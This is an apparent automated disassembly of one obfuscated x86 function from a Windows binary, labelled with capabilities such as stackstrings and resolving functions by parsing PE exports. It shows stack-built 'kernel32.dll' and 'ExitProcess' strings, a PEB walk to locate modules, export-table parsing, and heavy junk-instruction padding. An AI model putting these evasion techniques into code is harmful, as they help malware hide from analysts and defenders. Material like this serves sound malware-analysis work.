Function at 0x42ccab
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
jmp 0x42aab3
pop ecx
push esi
jmp 0x42aabd
sub esi, 0x3e08
or esi, 0xd554
or esi, 0x59c6
pop esi
push eax
push edx
add esp, 4
or eax, 0x47f0
pop eax
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x42ab24
push edi
push edi
add esp, 4
sub edi, 0x13f8a
add edi, 0x12b38
xor edi, 0x7b3a
pop edi
push edi
add edi, 0xb8d3
sub edi, 0x3fbb
or edi, 0x9107
and edi, 0xdc07
pop edi
jmp 0x42ad52
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ebx
add ebx, 0x35ad
call fcn.0042ab4e
add byte [eax + 0x3d], cl
dec eax
cmp al, 0x4f
inc ebp
cmp al, 0x83
add esp, 4
invalid
retf
add esp, 4
or ebx, 0x6199
pop ebx
push edi
add edi, 0x1658d
or edi, 0x14142
and edi, 0xbed4
pop edi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x42abd3
push ebx
or ebx, 0x147c0
and ebx, 0x8cb3
add ebx, 0x30
pop ebx
push eax
push esi
add esp, 4
or eax, 0x65c8
xor eax, 0x12a0
add eax, 0x9571
jno fcn.0042ab4e
add byte [eax], al
add eax, 0xdbd6
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x42abcc
invalid
jmp 0x42ad04
cmp dword [ebp - 0xc08], 0
jle 0x42acf8
push esi
push edx
add esp, 4
add al, 0x81
mul ch
add dword ss:[eax], eax
pop esi
push eax
push esi
add esp, 4
xor eax, 0x9449
xor eax, 0x12dce
pop eax
push ebx
xor ebx, 0x166b0
add ebx, 0x40d0
or ebx, 0xcb45
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x42ac94
push eax
and eax, 0x17c8a
xor eax, 0x3eba
and eax, 0x17b46
jmp 0x42ac40
pop eax
push ecx
or ecx, 0x95a7
jmp 0x42ac4e
add ecx, 0x59b3
jmp 0x42ac59
pop ecx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x42ac7c
mov dword [ebp - 0x14c0], 1
jmp 0x42ac86
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x42acf8
push esi
push ebx
add esp, 4
xor esi, 0x622c
call 0x42acaf
add byte [eax + 0x50], dl
dec esi
inc ecx
push eax
xor eax, 0x47444b3f
add esp, 4
add esi, 0x3b9e
pop esi
push eax
push esi
add esp, 4
jmp 0x42acc5
pop eax
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x42abd3
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x42ad4d
push ebx
xor ebx, 0x16d13
pop ebx
push ebx
push edx
add esp, 4
or ebx, 0x3e27
pop ebx
push ebx
push edi
add esp, 4
jmp 0x42ad2c
pop ebx
push edi
push edi
add esp, 4
and edi, 0x37cc
and edi, 0x12b62
pop edi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x42ad8e
jmp 0x42aa9b
push ecx
push ecx
add esp, 4
and ecx, 0xc322
add ecx, 0xdae0
call 0x42ad72
add byte [edx + 0x45], cl
dec esp
aas
dec ecx
inc ebp
inc ebp
dec eax
dec ebx
add esp, 4
add ecx, 0x18fa
pop ecx
push esi
or esi, 0x34b
pop esi
mov dword [ebp - 0x3cc], 0
push ebx
push esi
add esp, 4
add ebx, 0x10c87
and ebx, 0xed73
and ebx, 0x17ede
pop ebx
push edi
and edi, 0xb127
jmp 0x42adb3
or edi, 0x917c
add edi, 0x1586d
pop edi
push ebx
jmp 0x42adc7
pop ebx
push edx
add edx, 0x16a37
call 0x42addd
add byte [esi + 0x4c], cl
dec ebx
dec edx
cmp byte [ecx + 0x4a], cl
add esp, 4
pop edx
push eax
call 0x42adee
add byte [0x463e373e], dh
xor al, byte [ebx - 0x46a7fb3c]
add dword [eax], eax
add byte [eax], al
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
xor ebx, 0x10e4a
call 0x42ae1b
add byte [eax], al
add byte [eax], al
dec eax
dec ebp
dec edi
cmp eax, 0x833b344c
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [ebx + 0x38], cl
xor bh, byte [edi]
inc edi
cmp dword ds:[edi], edi
inc eax
add esp, 4
pop ebx
push ecx
and ecx, 0xb210
pop ecx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
push eax
add esp, 4
add al, 0xeb
invalid
pop esi
push esi
and esi, 0xdd68
call 0x42ae65
add byte [edi], dh
dec ecx
cmp eax, 0x4f383c3b
dec ecx
dec edi
add esp, 4
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x16574
pop ebx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
invalid
jmp 0x42ae92
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push esi
add esp, 4
or edi, 0x167b4
or edi, 0x15d24
pop edi
push eax
xor eax, 0x86af
add eax, 0x166b0
xor eax, 0x6a54
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0xd163
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x42af0c
push ebx
xor ebx, 0x7298
and ebx, 0x156ed
xor ebx, 0x142f2
add byte [ebx + 0x57], bl
call 0x42aef7
add byte [ebx], dh
inc ebx
dec ebp
push eax
inc esi
inc esp
xor eax, dword [ebx + 0x515f04c4]
push edi
add esp, 4
add ecx, 0x5357
pop ecx
jmp 0x42b13a
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
and edx, 0x13c3f
pop edx
push edx
push eax
add esp, 4
sub edx, 0x12b92
sub edx, 0x17d4e
sub edx, 0x111db
pop edx
push ecx
push edi
add esp, 4
and ecx, 0x9800
add ecx, 0x1e05
rol dword [0x5900001e], 0x8b
xchg ebp, eax
cmp bl, ch
invalid
dec dword [ecx - 0x9ef6b]
inc edi
test esp, ebp
invalid
invalid
inc dword [eax]
add byte [eax], al
add byte [ebx - 0x4cf7b], cl
invalid
cmp eax, dword [ebp - 0x14c8]
jne 0x42afbb
push eax
push ecx
add esp, 4
add eax, 0x17074
add eax, 0x72f0
jmp 0x42af91
add eax, 0xda7c
pop eax
push ebx
jmp 0x42afa0
jmp 0x42afa9
pop ebx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x42b0ec
cmp dword [ebp - 0xc10], 0
jle 0x42b0e0
push edx
sub edx, 0x859
xor edx, 0x2bca
pop edx
push ecx
sub ecx, 0x60e9
jmp 0x42afe4
jmp 0x42afeb
pop ecx
push edi
or edi, 0x4664
xor edi, 0x8e8
pop edi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
mov dh, 0x11
cmp eax, edx
je 0x42b07c
push edx
push ecx
add esp, 4
sub edx, 0x112d7
sub edx, 0xc924
pop edx
push ebx
or ebx, 0x6753
jmp 0x42b02f
pop ebx
push edi
push ecx
add esp, 4
or edi, 0x6a4d
or edi, 0xe473
pop edi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x42b064
mov dword [ebp - 0x14cc], 1
jmp 0x42b06e
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x42b0e0
push esi
push ebx
add esp, 4
or esi, 0x1001
pop esi
push edx
push eax
add esp, 4
sub edx, 0x6a5
xor edx, 0x932
add edx, 0x13533
add edx, 0x4758
pop edx
push edx
and edx, 0x10a5b
pop edx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x42afbb
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x42b135
push edi
push ecx
add esp, 4
sub edi, 0xbb84
xor edi, 0x1630c
pop edi
push ecx
push esi
add esp, 4
jmp 0x42b114
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x3d1b
sub ebx, 0x1651
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x42b176
jmp 0x42ae83
push eax
and eax, 0x1229f
or eax, 0x577e
and eax, 0x62d9
sub eax, 0x70cd
pop eax
push edx
push eax
add esp, 4
xor edx, 0x46db
and edx, 0x76b9
xor edx, 0x286b
pop edx
mov dword [ebp - 0xa5c], 0
push ecx
push ecx
add esp, 4
or ecx, 0xea9e
xor ecx, 0x1141c
add ecx, 0x2194
pop ecx
push esi
call 0x42b19e
add byte [eax + 0x3a], al
push eax
dec ebx
cmp dword ds:[ecx], edi
inc esi
dec ebx
add esp, 4
xor esi, 0xc39d
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
sub edi, 0x6d8
add edi, 0x140fe
pop edi
push esi
push esi
add esp, 4
and esi, 0x10b03
pop esi
push ecx
push ecx
add esp, 4
add ecx, 0x188b
xor ecx, 0xe8cc
add ecx, 0x6e47
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
push ebx
add esp, 4
add ebx, 0x12383
call 0x42b2e1
add byte [eax], bh
inc eax
cmp eax, 0x4e353e4a
cmp eax, 0x4c48346
pop ebx
push eax
and eax, 0x15d3f
sub eax, 0x4187
xor eax, 0x14353
pop eax
push edi
sub edi, 0xb121
add edi, 0x1153
pop edi
push esi
push esi
add esp, 4
call 0x42b319
add byte [ebx + 0x34], cl
inc esi
xor ecx, dword [ebp + 0x36]
dec esi
add esp, 4
xor esi, 0x16b5d
jmp 0x42b32a
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x185df
add ebx, 0x11276
or ebx, 0xdf4a
and ebx, 0xc7
pop ebx
push ecx
call 0x42b381
add byte [eax + 0x4f], al
inc esi
xor eax, 0x40473f38
dec ebp
add esp, 4
pop ecx
cmp dword [ebp - 0x14d4], 0
jne 0x42b39d
mov dword [ebp - 0x2e0], 0
jmp 0x42b659
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push edi
add esp, 4
jmp 0x42b3bd
add edx, 0x614a
jmp 0x42b3cb
pop edx
push eax
call 0x42b3dd
add byte [edi], dh
inc edx
dec edx
cmp al, 0x49
xor al, 0x33
aaa
xor al, 0x83
les eax, [eax + ebx*2]
cmp dword [ebp - 0xc20], 0
jne 0x42b3f9
mov dword [ebp - 0x2e0], 0
jmp 0x42b659
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
push esi
add esp, 4
sub edi, 0xff3e
pop edi
push esi
push eax
add esp, 4
add esi, 0x15f71
add esi, 0x11a94
or esi, 0x4236
add esi, 0xc2b0
pop esi
push edi
add edi, 0x39ed
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push esi
add esp, 4
xor ebx, 0x1715f
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0x39b
or ebx, 0x12ff5
or ebx, 0x13c74
sub ebx, 0x520d
pop ebx
push edi
or edi, 0xcf61
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov dword [ebp - 0xf80], edx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
xor ebx, 0x8189
add ebx, 0x4f9b
or ebx, 0xf94d
call 0x42b510
add byte [edx + 0x4f], cl
cmp al, 0x3c
cmp ecx, dword [esi + 0x40]
add esp, 4
pop ebx
push edi
xor edi, 0xe928
xor edi, 0xb768
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x42b545
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x42b5a8
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x42b464
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
retf 0x840f
invalid
invalid
invalid
invalid
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42b592
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x42b59c
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x42b5f1
push esi
push ecx
add esp, 4
call 0x42b5c3
add byte [ebx + ecx*2], dh
dec ebp
cmp dword [edi + 0x35], eax
cmp byte [ebx + 0x535e04c4], al
or ebx, 0xf4a7
and ebx, 0x14c31
or ebx, 0x14756
jmp 0x42b5e2
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x42b659
push ecx
push edx
add esp, 4
or ecx, 0x2697
pop ecx
push eax
call 0x42b60d
add byte [esi + ecx*2 + 0x46], cl
inc edx
dec eax
inc edx
dec esi
dec edi
aas
add esp, 4
sub eax, 0x12cf4
sub eax, 0x57e2
sub eax, 0x176cf
pop eax
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42b64f
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x42b405
mov dword [ebp - 0x2e0], 0
push eax
push edi
add esp, 4
jmp 0x42b665
jmp 0x42b66e
or eax, 0xe743
sub eax, 0x13c03
pop eax
push eax
or eax, 0xeaa3
pop eax
push eax
jmp 0x42b68a
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x42bfa4
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov dword [ebp - 0x16b8], eax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
call 0x42b73e
add byte [edx], dh
cmp dl, byte [eax + 0x4f]
aas
inc edi
add esp, 4
or ecx, 0xad1c
jmp 0x42b750
call 0x42b75f
add byte [esi], bh
cmp bh, byte [eax]
xor eax, 0x323c3b41
inc ebp
add esp, 4
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
jb 0x42b770
test edx, ebp
idiv edi
invalid
jns 0x42b777
test ebx, ebp
idiv edi
call dword [edi - 0x3a]
test esp, ebp
idiv edi
inc dword [eax]
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push edx
add esp, 4
or edx, 0x12d2f
pop edx
push ecx
and ecx, 0x9778
pop ecx
push edi
push edx
add esp, 4
sub edi, 0x8d4a
sub edi, 0xcaa9
or edi, 0x10b98
xor edi, 0x35ff
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x42b82f
mov dword [ebp - 0x6ec], 0
jmp 0x42baeb
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
jmp 0x42b848
add ecx, 0xbc1a
call 0x42b85c
add byte [ebp + 0x4f], cl
dec edx
xor eax, 0x3c414448
add esp, 4
pop ecx
push eax
call 0x42b86f
add byte [edx + 0x3e], cl
cmp eax, 0x35343a33
cmp byte [ebx - 0x7ca7fb3c], al
mov ebp, 0xfffff3d4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x42baeb
push edx
push ebx
add esp, 4
xor edx, 0x8d35
xor edx, 0x16181
pop edx
push edx
add edx, 0x73ac
and edx, 0x1120
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x10174
and edi, 0x5090
pop edi
cmp dword [ebp - 0x6ec], 0
jne 0x42bb67
push ebx
push edx
add esp, 4
call 0x42bb3b
add byte [ebx], dh
dec edi
inc ecx
xor al, byte [esp + eax*2 + 0x40]
cmp al, 0x48
aaa
add esp, 4
sub ebx, 0x1002b
pop ebx
push esi
or esi, 0xdf8b
add esi, 0x58f
jmp 0x42bb57
pop esi
mov dword [ebp - 0x738], 0
jmp 0x42c68e
push ebx
push ecx
add esp, 4
sub ebx, 0x137bb
sub ebx, 0x150dc
xor ebx, 0x13f3e
call 0x42bb8d
add byte [esi + 0x4a], al
dec esi
inc ebp
xor al, 0x34
cmp al, 0x3e
inc ebp
add esp, 4
pop ebx
push esi
jmp 0x42bb98
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x42bbd8
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42bec9
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x42bc00
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42bec9
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x42bc32
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x42bec9
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x42bc57
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x42bec9
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x42bcb1
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x42bebd
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x42bd21
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x42bdd3
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x42bdd3
push edx
or edx, 0x806f
jmp 0x42bd5a
or edx, 0x3dce
or edx, 0xc9d1
pop edx
push edi
push ecx
add esp, 4
call 0x42bd7c
add byte [eax], al
cmp al, 0x3a
xor ecx, dword [esi + 0x49]
dec edx
cmp al, 0x39
push eax
inc ecx
add esp, 4
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
cmp dh, 0xff
dec dword [edi]
mov esi, 0x80958b08
cmp dh, 0xff
dec dword [edi]
mov esi, 0xf7e01584
invalid
invalid
cmp ecx, eax
je 0x42bdc5
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x42bdcc
jmp 0x42bd12
jmp 0x42bdd3
push edi
push edx
add esp, 4
sub edi, 0x3382
xor edi, 0x3aa3
pop edi
push edx
push edi
add esp, 4
add edx, 0x12f8e
sub edx, 0x4c8d
sub edx, 0x14f52
pop edx
push edi
and edi, 0x12915
pop edi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
cmp dh, 0xff
dec dword [edi]
mov esi, 0xf7e00d94
idiv edi
invalid
cmp eax, edx
jne 0x42be32
mov dword [ebp - 0xc30], 0
jmp 0x42bea1
push edi
push edi
add esp, 4
jmp 0x42be40
pop edi
push ebx
or ebx, 0x13766
add dword [eax], eax
call 0x42be54
add byte [edi + 0x3b353842], bh
add esp, 4
sub ebx, 0xb842
and ebx, 0x18430
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x42be97
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x42bea1
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x42beb8
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x42bec9
jmp 0x42bca2
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x42bfa4
push esi
push ecx
add esp, 4
and esi, 0xafd8
jmp 0x42bee9
pop esi
push ecx
push eax
add esp, 4
or ecx, 0xb022
xor ecx, 0x55dc
sub ecx, 0x13771
add ecx, 0xd621
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
and edi, 0x6c2
sub edi, 0x60b0
pop edi
push edx
or edx, 0x1c35
sub edx, 0x17d6
call 0x42bf3c
add byte [eax], bh
dec edi
dec esp
cmp eax, 0x833e3245
les eax, [ecx + eax*4]
retf 0x2835
push eax
push ecx
add esp, 4
xor eax, 0xb5f5
sub eax, 0x49cb
and eax, 0xef93
xor eax, 0x2f87
pop eax
push ebx
jmp 0x42bfc9
sub ebx, 0x1672a
add ebx, 0xba76
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
push ebx
add esp, 4
add ecx, 0xf530
call 0x42c017
add byte [0x39334d44], bh
inc ecx
inc edx
inc ebp
add esp, 4
xor ecx, 0x169eb
pop ecx
push eax
xor eax, 0x220a
or eax, 0x5552
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x42c047
mov dword [ebp - 0x2e0], 0
jmp 0x42c2ee
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
jmp 0x42c063
call 0x42c06f
add byte [ebx], bh
dec edi
xor bh, byte [ecx]
inc eax
dec ebx
add esp, 4
sub esi, 0x45d3
pop esi
push eax
push eax
add esp, 4
or eax, 0x1454d
sub eax, 0x38a4
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x42c0a3
mov dword [ebp - 0x2e0], 0
jmp 0x42c2ee
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
push edx
add esp, 4
xor edi, 0x9b36
sub edi, 0x144e7
xor edi, 0x111a3
and edi, 0x1feb
pop edi
push edx
xor edx, 0x12e2d
sub edx, 0x100bc
add edx, 0x14960
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
push edx
add esp, 4
sub eax, 0xa797
or eax, 0xe658
pop eax
push esi
push ecx
add esp, 4
sub esi, 0x59bb
jmp 0x42c130
pop esi
push ecx
push ebx
add esp, 4
and ecx, 0x1851c
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
jmp 0x42c19d
and esi, 0x1799b
and esi, 0x46e4
pop esi
push ecx
sub ecx, 0xd06f
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x42c1bc
jmp 0x42c1c5
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x42c1e3
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
